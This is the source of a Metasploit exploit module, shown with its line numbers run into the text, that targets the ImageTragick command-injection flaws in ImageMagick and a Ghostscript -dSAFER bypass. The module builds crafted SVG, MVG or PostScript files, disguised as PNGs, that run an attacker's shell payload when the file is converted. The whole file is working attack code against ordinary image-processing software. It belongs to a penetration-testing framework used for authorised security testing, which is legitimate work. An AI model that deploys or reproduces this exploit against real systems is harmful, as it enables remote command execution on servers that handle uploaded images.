Path: blob/master/modules/exploits/unix/fileformat/imagemagick_delegate.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit6Rank = ExcellentRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ImageMagick Delegate Arbitrary Command Execution',15'Description' => %q{16This module exploits a shell command injection in the way "delegates"17(commands for converting files) are processed in ImageMagick versions18<= 7.0.1-0 and <= 6.9.3-9 (legacy).1920Since ImageMagick uses file magic to detect file format, you can create21a .png (for example) which is actually a crafted SVG (for example) that22triggers the command injection.2324The PostScript (PS) target leverages a Ghostscript -dSAFER bypass25(discovered by taviso) to achieve RCE in the Ghostscript delegate.26Ghostscript versions 9.18 and later are affected. This target is27provided as is and will not be updated to track additional vulns.2829If USE_POPEN is set to true, a |-prefixed command will be used for the30exploit. No delegates are involved in this exploitation.31},32'Author' => [33'stewie', # Vulnerability discovery34'Nikolay Ermishkin', # Vulnerability discovery35'Tavis Ormandy', # Vulnerability discovery36'wvu', # Metasploit module37'hdm' # Metasploit module38],39'References' => [40%w[CVE 2016-3714],41%w[CVE 2016-7976],42%w[URL https://imagetragick.com/],43%w[URL https://seclists.org/oss-sec/2016/q2/205],44%w[URL https://seclists.org/oss-sec/2016/q3/682],45%w[URL https://github.com/ImageMagick/ImageMagick/commit/06c41ab],46%w[URL https://github.com/ImageMagick/ImageMagick/commit/a347456],47%w[URL http://permalink.gmane.org/gmane.comp.security.oss.general/19669]48],49'DisclosureDate' => '2016-05-03',50'License' => MSF_LICENSE,51'Platform' => 'unix',52'Arch' => ARCH_CMD,53'Privileged' => false,54'Payload' => {55'BadChars' => "\x22\x27\x5c" # ", ', and \56},57'Targets' => [58['SVG file', { template: 'msf.svg' }], # convert msf.png msf.svg59['MVG file', { template: 'msf.mvg' }], # convert msf.svg msf.mvg60['PS file', { template: 'msf.ps' }] # PoC from taviso61],62'DefaultTarget' => 0,63'Notes' => {64'Stability' => [CRASH_SAFE],65'SideEffects' => [],66'Reliability' => [],67'AKA' => ['ImageTragick'],68'RelatedModules' => [69'exploit/unix/fileformat/ghostscript_type_confusion',70'exploit/multi/fileformat/ghostscript_failed_restore'71]72}73)74)7576register_options([77OptString.new('FILENAME', [true, 'Output file', 'msf.png']),78OptBool.new('USE_POPEN', [false, 'Use popen() vector', true])79])80end8182def exploit83if target.name == 'SVG file'84p = Rex::Text.html_encode(payload.encoded)85else86p = payload.encoded87end8889file_create(template.sub('echo vulnerable > /dev/tty', p))90end9192def template93if datastore['USE_POPEN']94t = 'popen'95else96t = 'delegate'97end9899begin100File.read(File.join(101Msf::Config.data_directory, 'exploits', 'imagemagick', t,102target[:template]103))104rescue Errno::ENOENT105fail_with(Failure::NoTarget, "Target has no #{t} support")106end107end108end109110111